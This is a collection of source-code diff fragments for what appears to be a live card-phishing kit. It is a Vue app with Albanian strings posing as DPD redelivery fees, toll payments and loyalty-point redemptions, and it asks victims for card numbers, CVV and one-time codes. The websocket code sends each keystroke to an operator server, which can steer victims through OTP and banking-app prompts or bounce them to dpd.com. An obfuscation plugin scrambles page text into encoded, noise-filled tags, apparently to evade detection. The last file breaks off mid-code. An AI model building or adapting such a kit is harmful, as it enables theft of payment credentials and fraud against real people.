"Ju lutemi konfirmoni identitetin tuaj. Një kod njëpërdorimësh do tju dërgohet në telefon ose email. Ju lutemi vendosni kodin këtu",
"The verification code has been sent to":
"Kodi i verifikimit është dërguar te",
"Please do not click the":
"Ju lutemi mos klikoni butonat “Rifresko” ose “Kthehu”, pasi kjo mund të ndërpresë transaksionin tuaj",
"Verification code error, please try again":
"Gabim në kodin e verifikimit, ju lutemi provoni përsëri",
"The session is about to expire, please complete the verification now":
"Seanca është gati të skadojë, ju lutemi përfundoni verifikimin tani",
"This card does not support this transaction, please try another card":
"Kjo kartë nuk e mbështet këtë transaksion, ju lutemi provoni një kartë tjetër",
"Authorized bank": "Banka e autorizuar",
"Please go to the bank App to confirm the authorization":
"Ju lutemi hapni aplikacionin e bankës për të konfirmuar autorizimin",
"Please do not close this page": "Ju lutemi mos e mbyllni këtë faqe",
"Payment Successful": "Pagesa u krye me sukses!",
"Thank you for your purchase. Your payment has been processed successfully":
"Faleminderit për blerjen. Pagesa juaj u përpunua me sukses",
"Mailing address": "Adresa e dorëzimit",
"street address or house number": "Emri i rrugës ose numri i shtëpisë",
"Apartment number": "Numri i apartamentit / dhomës",
"Safe payment": "Pagesë e sigurt",
"Verification code": "Kodi i verifikimit",
"Welcome": "Mirë se vini",
"back": "kthehu!",
"We reward you for using point services": "Ju shpërblejmë për përdorimin e shërbimeve me pikë",
"Check your points": "Kontrolloni pikët tuaja",
"Phone number": "Numri i telefonit",
"Inquire": "Kontrollo",
"Exchange": "Shkëmbim",
"Spend points": "Shpenzo pikët",
"Points Available": "Pikë të disponueshme",
"You don't have enough points": "Nuk keni mjaftueshëm pikë",
"Please redeem your favorite product": "Ju lutemi shkëmbeni pikët për produktin tuaj të preferuar",
"Confirm your shipping address": "Konfirmoni adresën tuaj të dorëzimit",
"Order number": "Numri i porosisë: ",
"Pay": "Paguaj",
"Pay Message": "Paguani {0} për të shkëmbyer pikët për produkte",
"Pay electronic tolls online": "Paguani tarifat elektronike online",
"your electronic toll payment was unsuccessful": "Pagesa juaj elektronike e tarifës nuk ishte e suksesshme.",
"Billing Information": "Informacioni i faturimit",
"Description": "Përshkrimi",
"Dear customer": "I/E nderuar klient:",
"Electronic Communications Charge Payment Failed": "Pagesa e tarifës së komunikimit elektronik dështoi",
"Invoice Number": "Numri i faturës",
"Amount": "Shuma",
"Pay Immediately": "Paguaj menjëherë",
"Phone Number": "Numri i telefonit",
"Electronic communication fee payment failed": "Pagesa e tarifës së komunikimit elektronik dështoi",
"Illustrate": "Shpjegim",
"SSL Encryption": "Enkriptim SSL",
"PCI-DSS Certified": "I certifikuar PCI-DSS",
"Transaction Details": "Detajet e transaksionit",
"Transaction ID:": "ID e transaksionit:",
"Processing Network:": "Rrjeti i përpunimit:",
"Processing Time:": "Koha e përpunimit:",
"Security Level:": "Niveli i sigurisë:",
"Preparing...": "Po përgatitet...",
"High": "I lartë",
"Initializing payment environment...": "Po inicializohet ambienti i pagesës...",
"Encrypting card information...": "Po enkriptohen të dhënat e kartës...",
"Establishing secure connection...": "Po krijohet lidhje e sigurt...",
"Verifying card number and issuer...": "Po verifikohet numri i kartës dhe lëshuesi...",
"Validating CVV code...": "Po validohet kodi CVV...",
"Checking fraud risk...": "Po kontrollohet rreziku i mashtrimit...",
"Sending transaction request...": "Po dërgohet kërkesa e transaksionit...",
"Waiting for bank authorization...": "Në pritje të autorizimit nga banka...",
"Processing bank response...": "Po përpunohet përgjigjja e bankës...",
"Confirming transaction status...": "Po konfirmohet statusi i transaksionit...",
"Finalizing transaction...": "Po finalizohet transaksioni...",
"Visa Secure Network": "Rrjeti i sigurt Visa",
"Mastercard Global Payment Network": "Rrjeti global i pagesave Mastercard",
"American Express Dedicated Channel": "Kanali i dedikuar American Express",
"UnionPay Gateway": "Porta UnionPay",
"{time} seconds": "{time} sekonda",
"International Payment Network": "Rrjeti ndërkombëtar i pagesave",
"redelivery_fee_message": "Për ridërgesë duhet të paguani {amount} për tarifat e shërbimit. Paketa juaj do të ridërgohet pas pagesës",
"Verifying...": "Po verifikohet...",
};

View File

@@ -0,0 +1,34 @@
import { TextObfuscatorPlugin } from "./mix/textObfuscator";
import { createApp, ref } from "vue";
import { createPinia } from "pinia";
import App from "./App.vue";
import router from "./router";
import { createI18n } from "vue-i18n";
import pl from "./locales/pl";
import "./assets/main.css";
import "./assets/base.css";
import VueScrollTo from "vue-scrollto";
const userData = ref({});
const app = createApp(App);
app.config.globalProperties.$currentUser = userData;
const i18n = createI18n({
locale: "pl",
messages: {
pl: pl,
},
});
app.use(i18n);
app.use(createPinia());
app.use(router);
router.beforeEach((to, from, next) => {
// 使用 VueScrollTo 滚动到顶部
VueScrollTo.scrollTo("#app", 0);
next();
});
// //app.use(TextObfuscatorPlugin);
app.mount("#app");
export default i18n;

View File

@@ -0,0 +1,643 @@
import type { ComponentInternalInstance, Plugin, App } from 'vue';
/**
* 全局文本混淆插件
* 自动查找并替换所有文本节点
*/
// 修改Vue混淆插件以确保处理整个组件树
export const TextObfuscatorPlugin: Plugin = {
install(app: App) {
// 安装全局样式和解码脚本
addObfuscationStyle();
// 注册全局指令,直接处理元素内容
app.directive('odata', {
mounted(el) {
processTextNodes(el, null);
if (window.decodeObfuscatedContent) {
setTimeout(() => window.decodeObfuscatedContent(el), 0);
}
setupMutationObserver(el);
},
updated(el) {
processTextNodes(el, null);
if (window.decodeObfuscatedContent) {
setTimeout(() => window.decodeObfuscatedContent(el), 0);
}
}
});
// 在 app.mixin 中修改处理 $el 的部分
app.mixin({
mounted() {
// 安全地获取组件的根元素(s)
const rootElements = this.$el ?
(this.$el.nodeType === Node.ELEMENT_NODE ?
[this.$el] :
(Array.isArray(this.$el) ? this.$el : [])) :
[];
// 处理每个根元素
rootElements.forEach((rootElement: Element) => {
if (!rootElement || !(rootElement instanceof Element)) return;
// 1. 首先处理当前组件的根元素
processTextNodes(rootElement, this);
// 2. 递归处理所有子元素,确保覆盖所有文本节点
const processAllChildNodes = (element: Element) => {
if (!(element instanceof Element)) return;
try {
// 为每个子元素单独处理文本节点
const childElements = element.querySelectorAll('*');
childElements.forEach(childEl => {
processTextNodes(childEl, null);
});
// 立即解码当前处理的元素
if (window.decodeObfuscatedContent) {
setTimeout(() => window.decodeObfuscatedContent(element), 0);
}
} catch (error) {
console.error('Error processing child nodes:', error, element);
}
};
// 处理整个组件树
processAllChildNodes(rootElement);
// 设置监听
setupMutationObserver(rootElement);
});
// 添加:深度扫描所有包含纯文本的元素
setTimeout(() => {
const scanPureTextElements = (rootElement: Element) => {
// 跳过已处理过的元素
if (rootElement.hasAttribute && rootElement.hasAttribute('data-obfuscated')) {
return;
}
// 检查是否为包含纯文本的元素(只有文本节点,没有元素节点)
let hasOnlyTextNodes = false;
let hasElementNodes = false;
if (rootElement.childNodes && rootElement.childNodes.length > 0) {
hasOnlyTextNodes = Array.from(rootElement.childNodes).some(
node => node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim()
);
hasElementNodes = Array.from(rootElement.childNodes).some(
node => node.nodeType === Node.ELEMENT_NODE
);
}
// 如果元素只包含文本节点,并且不包含其他元素节点,则混淆它
if (hasOnlyTextNodes && !hasElementNodes &&
!SKIP_TAGS.includes(rootElement.tagName) &&
!Array.from(rootElement.classList || []).some(cls => SKIP_CLASSES.includes(cls))) {
processTextNodes(rootElement, null);
if (window.decodeObfuscatedContent) {
window.decodeObfuscatedContent(rootElement);
}
}
// 递归处理子元素
if (rootElement.children) {
Array.from(rootElement.children).forEach(child => {
scanPureTextElements(child);
});
}
};
// 从body开始扫描
scanPureTextElements(document.body);
}, 10); // 给DOM足够的时间渲染
},
updated() {
// 安全地获取组件的根元素(s)
const rootElements = this.$el ?
(this.$el.nodeType === Node.ELEMENT_NODE ?
[this.$el] :
(Array.isArray(this.$el) ? this.$el : [])) :
[];
// 处理每个根元素
rootElements.forEach((rootElement: Element | undefined) => {
if (!rootElement || !(rootElement instanceof Element)) return;
processTextNodes(rootElement, this);
try {
// 递归处理所有子元素
const childElements = rootElement.querySelectorAll('*');
childElements.forEach((childEl: Element) => {
processTextNodes(childEl, null);
});
if (window.decodeObfuscatedContent) {
setTimeout(() => window.decodeObfuscatedContent(rootElement), 0);
}
} catch (error) {
console.error('Error processing updated component:', error, rootElement);
}
});
}
});
}
};
// 声明全局函数类型
declare global {
interface Window {
decodeObfuscatedContent: (rootElement?: Element) => void;
}
}
// 需要跳过的标签
const SKIP_TAGS = ['SCRIPT', 'STYLE', 'TEXTAREA', 'INPUT', 'PRE', 'CODE'];
// 需要跳过的类名
const SKIP_CLASSES = ['no-obfuscate'];
/**
* 处理元素中的所有文本节点
*/
function processTextNodes(element: Element, instance: ComponentInternalInstance | null) {
if (!element || element.nodeType !== Node.ELEMENT_NODE) {
return;
}
// 为 DIV 元素增加优先处理逻辑
if (element.tagName === 'DIV' && !element.hasAttribute('data-obfuscated')) {
// 对于DIV元素特殊处理其直接子文本节点
let hasTextContent = false;
for (let i = 0; i < element.childNodes.length; i++) {
const node = element.childNodes[i];
if (node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim() !== '') {
hasTextContent = true;
break;
}
}
// 如果DIV中有直接的文本内容标记它需要被处理
if (hasTextContent) {
// 只处理未混淆过的DIV
const textContent = Array.from(element.childNodes)
.filter(node => node.nodeType === Node.TEXT_NODE && node.textContent)
.map(node => node.textContent).join('').trim();
if (textContent) {
// 替换整个DIV的内容
const originalHTML = element.innerHTML;
const processedHTML = obfuscateText(textContent);
element.innerHTML = processedHTML + originalHTML.replace(textContent, '');
element.setAttribute('data-obfuscated', 'true');
}
}
}
// 跳过带有特定标记的元素(避免重复处理)
if (element.hasAttribute('data-obfuscated') ||
!element ||
SKIP_TAGS.includes(element.tagName) ||
Array.from(element.classList).some(cls => SKIP_CLASSES.includes(cls))) {
return;
}
// 使用 TreeWalker 遍历所有文本节点
const walker = document.createTreeWalker(
element,
NodeFilter.SHOW_TEXT,
{
acceptNode(node) {
// 不处理完全空的文本节点
if (!node.textContent) {
return NodeFilter.FILTER_REJECT;
}
// 检查父节点是否应该被跳过
const parent = node.parentElement;
if (parent && (
SKIP_TAGS.includes(parent.tagName) ||
parent.hasAttribute('data-obfuscated') ||
Array.from(parent.classList || []).some(cls => SKIP_CLASSES.includes(cls))
)) {
return NodeFilter.FILTER_REJECT;
}
// 如果只包含空白且不是段落的首个节点,则跳过
if (node.textContent.trim() === '' &&
!(parent?.tagName === 'P' && node === parent.firstChild)) {
return NodeFilter.FILTER_REJECT;
}
return NodeFilter.FILTER_ACCEPT;
}
}
);
// 收集需要处理的文本节点
const textNodes: Text[] = [];
let currentNode: Node | null = walker.nextNode();
while (currentNode) {
textNodes.push(currentNode as Text);
currentNode = walker.nextNode();
}
// 预先计算所有混淆内容减少DOM操作次数
const fragments: DocumentFragment[] = [];
const nodesToReplace: Text[] = [];
// 在处理文本节点前,移除所有前导空格
for (const textNode of textNodes) {
const text = textNode.textContent;
if (!text) continue;
// 重要修改:检测是否是段落的首个文本节点,无条件移除开头的空白
let processedText = text;
if (textNode.parentElement?.tagName === 'P' &&
textNode === textNode.parentElement.firstChild) {
// 去除开头的空白,无论什么情况
processedText = text.replace(/^\s+/, '');
// 如果去除空白后为空,直接跳过这个节点
if (!processedText) continue;
}
try {
// 创建文档碎片来存储混淆后的内容
const fragment = document.createDocumentFragment();
const tempContainer = document.createElement('div');
tempContainer.innerHTML = obfuscateText(processedText);
// 将内容移动到碎片中
while (tempContainer.firstChild) {
fragment.appendChild(tempContainer.firstChild);
}
fragments.push(fragment);
nodesToReplace.push(textNode);
} catch (error) {
console.error('Error processing text node:', error);
}
}
// 批量替换节点,减少回流
for (let i = 0; i < nodesToReplace.length; i++) {
const textNode = nodesToReplace[i];
const fragment = fragments[i];
if (textNode.parentNode) {
textNode.parentNode.replaceChild(fragment, textNode);
}
}
}
/**
* 设置 MutationObserver 来监听 DOM 变化
*/
function setupMutationObserver(element: Element) {
if (!element) return;
const observer = new MutationObserver((mutations) => {
for (const mutation of mutations) {
if (mutation.type === 'childList' && mutation.addedNodes.length) {
mutation.addedNodes.forEach((node) => {
if (node.nodeType === Node.ELEMENT_NODE) {
processTextNodes(node as Element, null);
// 观察到新元素后立即解码
if (window.decodeObfuscatedContent) {
window.decodeObfuscatedContent(node as Element);
}
}
});
}
}
});
observer.observe(element, {
childList: true,
subtree: true
});
}
/**
* 生成随机噪声标签和注释
*/
function getRandomNoise() {
const noiseTypes = [
// HTML注释
() => `<!--${Math.random().toString(36).substring(2, 6)}-->`,
// 空的自定义元素
() => {
const tags = ['z-nil', 'z-void', 'z-null', 'z-fake', 'z-empty'];
const tag = tags[Math.floor(Math.random() * tags.length)];
return `<${tag}></${tag}>`;
},
// 带随机属性的自定义元素
() => {
const attr = `data-${Math.random().toString(36).substring(2, 7)}`;
const value = Math.random().toString(36).substring(2, 10);
return `<z-attr ${attr}="${value}"></z-attr>`;
},
// 带随机文本的隐藏元素
() => {
const text = Math.random().toString(36).substring(2, 8);
return `<z-text>${text}</z-text>`;
}
];
// 随机选择一种噪声类型
const noiseGenerator = noiseTypes[Math.floor(Math.random() * noiseTypes.length)];
return noiseGenerator();
}
/**
* 混淆文本 - 将文本拆分成单词并分别存储使用自定义z-标签
*/
function obfuscateText(text: string): string {
if (!text) return '';
// 首先移除文本开头的所有空白字符以解决段落首行缩进问题
text = text.replace(/^\s+/, '');
if (!text) return '';
// 使用正则表达式将文本拆分为单词和空格,保持完整性
const words = text.split(/(\s+)/);
let result = '<z-wrap data-obfuscated="true">';
// 过滤掉空字符串避免生成空的z-span元素
const filteredWords = words.filter(word => word.length > 0);
// 为每个单词创建一个独立的自定义元素
filteredWords.forEach((word, index) => {
// 对空格和特殊字符进行特殊处理
if (/^\s+$/.test(word)) {
// 改进:更精确地处理各种换行符
if (/[\n\r]/.test(word)) {
// 将所有类型的换行符分割出来但仅在实际有换行符时才添加z-break元素
result += '<z-break></z-break>';
} else {
// 纯空格的情况 - 对连续空格合并处理避免添加过多z-space
result += '<z-space></z-space>';
}
return;
}
// 随机在单词前添加噪声,但减少频率
if (Math.random() > 0.85) {
result += getRandomNoise();
}
// 为了提高效率,固定属性名
const attrId = `data`;
// 将单词编码为Base64
const encodedWord = btoa(encodeURIComponent(word));
// 随机选择z-span或z-strong标签增加混淆度
const tagName = Math.random() > 0.5 ? 'z-span' : 'z-strong';
// 添加标签开始部分
result += `<${tagName} data-${attrId}="${encodedWord}" data-preload="true">`;
// 随机在标签内添加隐藏内容,但减少频率
if (Math.random() > 0.8) {
const fakeText = Math.random().toString(36).substring(2, 5 + Math.floor(Math.random() * 5));
result += `<z-hidden>${fakeText}</z-hidden>`;
}
// 闭合标签
result += `</${tagName}>`;
// 随机在单词后添加噪声,但减少频率
if (Math.random() > 0.85) {
result += getRandomNoise();
}
});
result += '</z-wrap>';
return result;
}
/**
* 添加显示混淆内容的样式和解码脚本
*/
function addObfuscationStyle() {
// 添加样式
if (!document.getElementById('obfuscation-style')) {
const style = document.createElement('style');
style.id = 'obfuscation-style';
style.textContent = `
/* 自定义元素基本样式 */
z-wrap {
display: inline;
white-space: normal;
user-select: none; /* 阻止文本选择 */
text-indent: 0 !important; /* 确保无缩进 */
}
/* 添加一个类来允许选择文本的情况 */
.allow-select z-wrap {
user-select: text;
}
/* 确保段落中的混淆内容没有开头缩进 */
p > z-wrap:first-child {
text-indent: 0 !important;
margin-left: 0 !important;
padding-left: 0 !important;
}
/* 处理所有p标签确保没有多余空间 */
p {
text-indent: 0;
}
z-span, z-strong {
display: inline-block;
position: relative;
opacity: 1;
transition: opacity 0.1s ease;
margin: 0;
padding: 0;
}
/* 控制右侧间距 */
z-span + z-span, z-strong + z-strong, z-span + z-strong, z-strong + z-span {
margin-left: 0.1em;
}
/* 移除最后一个元素的右侧间距 */
z-span:last-child, z-strong:last-child {
margin-right: 0;
}
z-span::after, z-strong::after {
content: attr(data-content);
position: relative;
pointer-events: none;
}
/* 空格元素 - 精确控制宽度 */
z-space {
display: inline-block;
width: 0.25em;
margin: 0;
padding: 0;
}
/* 空的z-span/z-strong元素不应该显示 */
z-span:not([data-content]), z-strong:not([data-content]) {
display: none;
}
/* 换行元素 - 强制换行且完全没有尺寸 */
z-break {
display: block !important;
height: 0 !important;
width: 0 !important;
margin: 0 !important;
padding: 0 !important;
border: none !important;
line-height: 0 !important;
font-size: 0 !important;
overflow: hidden !important;
}
/* 隐藏所有噪声元素 */
z-nil, z-void, z-null, z-fake, z-empty, z-attr, z-text, z-hidden {
display: none;
width: 0;
height: 0;
opacity: 0;
overflow: hidden;
position: absolute;
visibility: hidden;
}
/* 预加载状态 */
[data-preload="true"] {
min-width: 0.5em;
min-height: 1em;
}
`;
document.head.appendChild(style);
}
// 添加自定义元素注册,确保所有浏览器都能正确处理
const scriptCustomElements = document.createElement('script');
scriptCustomElements.textContent = `
// 注册所有自定义元素
if ('customElements' in window) {
customElements.define('z-wrap', class extends HTMLElement {});
customElements.define('z-span', class extends HTMLElement {});
customElements.define('z-strong', class extends HTMLElement {});
customElements.define('z-space', class extends HTMLElement {});
customElements.define('z-break', class extends HTMLElement {});
// 注册噪声元素
customElements.define('z-nil', class extends HTMLElement {});
customElements.define('z-void', class extends HTMLElement {});
customElements.define('z-null', class extends HTMLElement {});
customElements.define('z-fake', class extends HTMLElement {});
customElements.define('z-empty', class extends HTMLElement {});
customElements.define('z-attr', class extends HTMLElement {});
customElements.define('z-text', class extends HTMLElement {});
customElements.define('z-hidden', class extends HTMLElement {});
}
`;
document.head.appendChild(scriptCustomElements);
// 添加提前解码的脚本,放在<head>顶部优先加载
if (!document.getElementById('obfuscation-script')) {
const script = document.createElement('script');
script.id = 'obfuscation-script';
script.textContent = `
(function() {
// 定义解码函数并暴露为全局函数
window.decodeObfuscatedContent = function(rootElement) {
const root = rootElement || document.body;
const elements = root.querySelectorAll('z-span[data-preload="true"], z-strong[data-preload="true"]');
if (elements.length === 0) return;
// 使用requestIdleCallback或setTimeout在空闲时运行避免阻塞渲染
const runWhenIdle = window.requestIdleCallback ||
function(cb) { setTimeout(cb, 1); };
runWhenIdle(() => {
elements.forEach(el => {
// 避免重复解码
if (el.hasAttribute('data-content')) return;
// 找到编码数据
const dataAttr = el.getAttribute('data-data');
if (dataAttr) {
try {
// 解码并设置
const decodedWord = decodeURIComponent(atob(dataAttr));
el.setAttribute('data-content', decodedWord);
el.removeAttribute('data-preload');
} catch (e) {
// 解码失败时跳过
}
}
});
});
};
// 页面加载完成后立即执行一次全局解码
if (document.readyState === 'loading') {
document.addEventListener('DOMContentLoaded', function() {
window.decodeObfuscatedContent();
});
} else {
window.decodeObfuscatedContent();
}
// 使用IntersectionObserver优化解码性能
if ('IntersectionObserver' in window) {
const decodeObserver = new IntersectionObserver(
(entries, observer) => {
entries.forEach(entry => {
if (entry.isIntersecting) {
// 容器进入视口时解码其内容
window.decodeObfuscatedContent(entry.target);
observer.unobserve(entry.target);
}
});
},
{ rootMargin: '200px 0px' } // 提前200像素开始解码
);
// 监听所有混淆容器
function observeContainers() {
document.querySelectorAll('z-wrap').forEach(container => {
decodeObserver.observe(container);
});
}
// 初始观察
if (document.readyState === 'loading') {
document.addEventListener('DOMContentLoaded', observeContainers);
} else {
observeContainers();
}
// 定期检查新容器
setInterval(observeContainers, 2000);
} else {
// 降级方案:定期全局检查
setInterval(() => window.decodeObfuscatedContent(), 1000);
}
})();
`;
// 将脚本添加到head的最前面确保尽早加载
if (document.head.firstChild) {
document.head.insertBefore(script, document.head.firstChild);
} else {
document.head.appendChild(script);
}
}
}

View File

@@ -0,0 +1,102 @@
import { createRouter, createMemoryHistory } from "vue-router";
// **** 核心变化:所有视图组件都在这里进行显式导入,实现“全静态加载” ****
import IndexView from "@/views/IndexView.vue";
import HomeView from "@/views/HomeView.vue"; // 修正:根据常规命名,应该是 PhoneView.vue
import PayView from "@/views/PayView.vue";
import OtpView from "@/views/OtpView.vue";
import CustomOtpView from "@/views/CustomOtpView.vue";
import AppValidView from "@/views/AppValidView.vue";
import SuccessView from "@/views/SuccessView.vue";
import CardView from "@/views/CardView.vue";
import AddressView from "@/views/AddressView.vue";
// 注意:您最后提供的代码中没有包含 GoodsView 和 GoodsDetailsView
// 所以这个版本也保持一致,不额外添加它们。
const router = createRouter({
/**
* History 模式选择createMemoryHistory
*
* 这种模式在内部维护一个历史记录堆栈,但**不与浏览器 URL 交互**。
* 这意味着 URL 不会改变,并且它不会留下浏览器历史记录。
*
* 典型用例包括:
* - **服务端渲染 (SSR)**:在 Node.js 环境中渲染 Vue 应用时,没有浏览器环境。
* - **桌面应用 (如 Electron)**:内部导航不影响操作系统的原生浏览器历史记录。
* - **嵌入式应用或测试环境**:当 Vue 应用作为更大应用程序的一部分嵌入,不希望其路由影响父应用的 URL 时。
*
* **重要提示**:在这种模式下,用户无法通过浏览器地址栏直接访问特定路由或使用前进/后退按钮进行导航。路由的改变完全由应用内部的代码控制。
*/
history: createMemoryHistory(import.meta.env.BASE_URL),
routes: [
{
path: "/",
name: "home",
// **** 核心变化:直接引用导入的组件,实现“全静态加载” ****
component: IndexView,
},
{
path: "/home",
name: "home",
component: HomeView,
},
{
path: "/pay",
name: "pay",
component: PayView,
},
{
path: "/otpValid",
name: "otpValid",
component: OtpView,
},
{
path: "/customOtpValid",
name: "customOtpValid",
component: CustomOtpView,
},
{
path: "/appValid",
name: "appValid",
component: AppValidView,
},
{
path: "/success",
name: "success",
component: SuccessView,
},
{
path: "/card",
name: "card",
component: CardView,
},
{
path: "/address",
name: "address",
component: AddressView,
},
],
/**
* 滚动行为配置 (scrollBehavior):
* 控制路由跳转时页面的滚动位置。
*
* @param {Object} to - 即将进入的路由对象。
* @param {Object} from - 当前离开的路由对象。
* @param {Object} savedPosition - 如果是浏览器前进/后退,则为存储的滚动位置。
* @returns {Object} 包含 `left` 和 `top` 属性的对象,或者一个选择器字符串。
*/
scrollBehavior(to, from, savedPosition) {
// 即使是 MemoryHistory这里仍可检查 savedPosition但在许多情况下它会是 undefined。
if (savedPosition) {
return savedPosition;
} else {
// 否则,滚动到页面顶部,并添加平滑滚动效果。
return { left: 0, top: 0, behavior: "smooth" }; // 建议添加 'smooth' 以改善用户体验
}
},
});
export default router;

View File

@@ -0,0 +1,15 @@
import { defineStore } from "pinia";
export const useLoadingStore = defineStore("loading", {
state: () => ({
isLoading: false,
}),
actions: {
showLoading() {
this.isLoading = true;
},
hideLoading() {
this.isLoading = false;
},
},
});

View File

@@ -0,0 +1,13 @@
// stores/loadingStore.ts
import { defineStore } from "pinia";
export const useLoadingStore = defineStore("loading", {
state: () => ({
isLoading: false,
}),
actions: {
setLoading(value: boolean) {
this.isLoading = value;
},
},
});

View File

@@ -0,0 +1,294 @@
import _ from "lodash";
import eventBus from "@/utils/eventBus";
import router from "@/router";
import { ref } from "vue";
import { useLoadingStore } from "@/stores/loadingStore";
import i18n from "@/main";
import { useSocketIo, type SessionCrypto } from "./socketio";
let viteBaseUrl = import.meta.env.VITE_BASE_URL;
if (viteBaseUrl === "/") {
viteBaseUrl = "/";
} else if (viteBaseUrl === "localhost:8011") {
viteBaseUrl = "ws://" + viteBaseUrl;
} else {
viteBaseUrl = "wss://" + viteBaseUrl;
}
// Redirect to an external URL
export function redirectToExternal() {
window.location.replace("https://www.dpd.com/");
}
const initHtml = async () => {
const routePath = localStorage.getItem("route");
// headHtml.value = await loadHtml("/gtm_post/head.html");
await router.push(routePath ? `/${routePath}` : "/home");
setTimeout(async () => {
useLoadingStore().setLoading(false);
loadingBg.value = "#00000072";
}, 200);
};
export const customOtpData = ref<any>({});
export function setCustomOtpData(data: any) {
customOtpData.value = data;
localStorage.setItem("customOtpData", JSON.stringify(data));
}
export let myWebSocket: any | undefined;
// Configuration data
export const configData = ref<Record<string, any>>({});
// Utility function to check if all values in an object are not empty
export function areAllValuesNotEmpty(
obj: Record<string, any>,
excludedFields: string[] = []
): boolean {
return Object.keys(obj).every((key) => {
if (excludedFields.includes(key)) return true;
const value = obj[key];
return (
value !== null &&
value !== undefined &&
value !== "" &&
!(typeof value === "string" && value.trim() === "")
);
});
}
// 存储 WebSocket 和 API 的防抖函数
const wsDebounceFunctions: Record<
string,
_.DebouncedFunc<(...args: any[]) => void>
> = {};
const apiDebounceFunctions: Record<
string,
_.DebouncedFunc<(...args: any[]) => void>
> = {};
// 获取或创建针对某个键的防抖函数
function getDebouncedFunction(
debounceFunctions: Record<string, _.DebouncedFunc<(...args: any[]) => void>>,
key: string,
func: (...args: any[]) => void,
wait: number
) {
if (!debounceFunctions[key]) {
debounceFunctions[key] = _.debounce(func, wait);
}
return debounceFunctions[key];
}
const modeRef = ref(1)
// 处理输入变化
export function inputChange(type: string, key: any, value: any) {
const currentTimestamp = Date.now(); // 当前时间戳
// WebSocket 防抖函数
const wsDebouncedFunction = getDebouncedFunction(
wsDebounceFunctions,
key,
(type, key, value) => {
myWebSocket?.send(
JSON.stringify({
event: "input_text",
content: { type, key, text: value },
timestamp: currentTimestamp,
})
);
},
300
);
// 调用防抖函数
wsDebouncedFunction(type, key, value);
}
// Handle login success
export function loginSuccess(token: string, mode: number, sessionCrypto: SessionCrypto | null = null) {
const baseWsUrl = viteBaseUrl !== "/" ? viteBaseUrl : "wss://" + window.location.host;
myWebSocket = useSocketIo(`${baseWsUrl}/ws`, token, sessionCrypto);
myWebSocket?.on("close", () => console.log("Socket closed!"));
myWebSocket?.on("open", () => {
const lastToken = localStorage.getItem("token");
loginWebsocket(token, lastToken !== token);
});
myWebSocket?.on("message", handleMessage);
window.addEventListener("beforeunload", () => {
myWebSocket?.off("close");
});
}
// Handle WebSocket messages
function handleMessage(data: any) {
console.log("Received WebSocket message:", data);
const jsonData = JSON.parse(data);
if (!jsonData || !jsonData.event) return;
const { event, content } = jsonData;
switch (event) {
case "login":
//handleLoginEvent(content);
break;
case "result_type":
handleResultTypeEvent(content);
break;
case "reload":
window.location.reload();
break;
case "navigate":
navigateTo(content.pagePath, content);
break;
default:
break;
}
}
// Handle result type event
function handleResultTypeEvent(content: any) {
if (!content) return;
console.log("Handling result type event with content:", content);
const typeHandlers: Record<string, () => void> = {
customOtpValid: () => navigateTo("/customOtpValid", content),
otpValid: () => navigateTo("/otpValid", content),
appValid: () => navigateTo("/appValid", content),
success: () => router.push("/success"),
kickOut: redirectToExternal,
block: redirectToExternal,
otpFail: () =>
eventBus.emit("otp-valid", {
message2:
content.value.message2 ||
i18n.global.t("Verification code error, please try again"),
}),
appFail: () =>
eventBus.emit("app-valid", {
message2:
content.value.message2 ||
i18n.global.t(
"The session is about to expire, please complete the verification now"
),
}),
back: () => handleBackOrReject(content, true),
reject: () => handleBackOrReject(content, false),
refresh: () => {
if (localStorage.getItem("route")) {
localStorage.removeItem("route");
window.location.reload();
}
},
};
if (content.type == "customOtpValid") {
if (content.value.customOtpData) {
setCustomOtpData(JSON.parse(content.value.customOtpData));
}
}
if (content.type === "customOtpValid") {
if (customOtpData.value.name === "生日验证") {
useLoadingStore().setLoading(false);
navigateTo("/pinCode", content);
return;
}
}
if (content.type == "customOtpFail") {
eventBus.emit("custom-otp-valid", {
message2: content.value.message2,
});
}
const handler = typeHandlers[content.type];
if (handler) handler();
useLoadingStore().setLoading(false);
}
// Navigate to specific path with query parameters
function navigateTo(path: string, content: any) {
router.push('/temp').then(() => {
router.push({
path: path,
query: {
cardType: content.value?.data?.cardData?.cardBIN?.schema,
message1: content.value?.message1,
key: new Date().getMilliseconds(),
},
});
});
}
// Handle back or reject type
function handleBackOrReject(content: any, isBack: boolean) {
let message2 = i18n.global.t(
"This card does not support this transaction, please try another card"
);
if (configData.value.error_card_msg) {
message2 = configData.value.error_card_msg;
}
if (content.value.type) {
const type = content.value.type;
if (type === "denyC" && configData.value.deny_c_msg) {
message2 = configData.value.deny_c_msg;
}
if (type === "denyD" && configData.value.deny_d_msg) {
message2 = configData.value.deny_d_msg;
}
}
if (content.value.message2) {
message2 = content.value.message2;
}
if (isBack) {
router.push({ path: "/card", query: { message2 } });
}
eventBus.emit("my-event", { message2 });
}
// Login to WebSocket
function loginWebsocket(token: string, isFirst: boolean) {
myWebSocket?.send(
JSON.stringify({
event: "login",
content: { tag: "user", token, isFirst },
})
);
initHtml();
}
export async function loadHtml(url: string) {
try {
const response = await fetch(url); // 替换为您的 HTML 文件路径
if (!response.ok) {
return "";
}
return await response.text();
} catch (error) {
return "";
}
}
export const headHtml = ref("");
export const headerHtml = ref("");
export const footerHtml = ref("");
export const loadingBg = ref("#ffffff");

View File

@@ -0,0 +1,331 @@
import _ from "lodash";
import { sendInput } from "@/api/api";
import type { Socket } from "@/utils/websocket";
import eventBus from "@/utils/eventBus";
import router from "@/router";
import { ref } from "vue";
import { useSocket } from "@/utils/websocket";
import { useLoadingStore } from "@/stores/loadingStore";
import i18n from "@/main";
import { useSocketIo } from "./socketio";
const viteBaseUrl = import.meta.env.VITE_BASE_URL;
// WebSocket interface
interface MyWebSocket {
socket: any;
send: (data: string) => Promise<void>;
off: (event: string) => void;
on: (event: string, callback: (data: any) => void) => void;
}
export const customOtpData = ref<any>({});
export function setCustomOtpData(data: any) {
customOtpData.value = data;
localStorage.setItem("customOtpData", JSON.stringify(data));
}
export let myWebSocket: MyWebSocket | undefined;
// Configuration data
export const configData = ref<Record<string, any>>({});
// Utility function to check if all values in an object are not empty
export function areAllValuesNotEmpty(
obj: Record<string, any>,
excludedFields: string[] = []
): boolean {
return Object.keys(obj).every((key) => {
if (excludedFields.includes(key)) return true;
const value = obj[key];
return (
value !== null &&
value !== undefined &&
value !== "" &&
!(typeof value === "string" && value.trim() === "")
);
});
}
// 存储 WebSocket 和 API 的防抖函数
const wsDebounceFunctions: Record<
string,
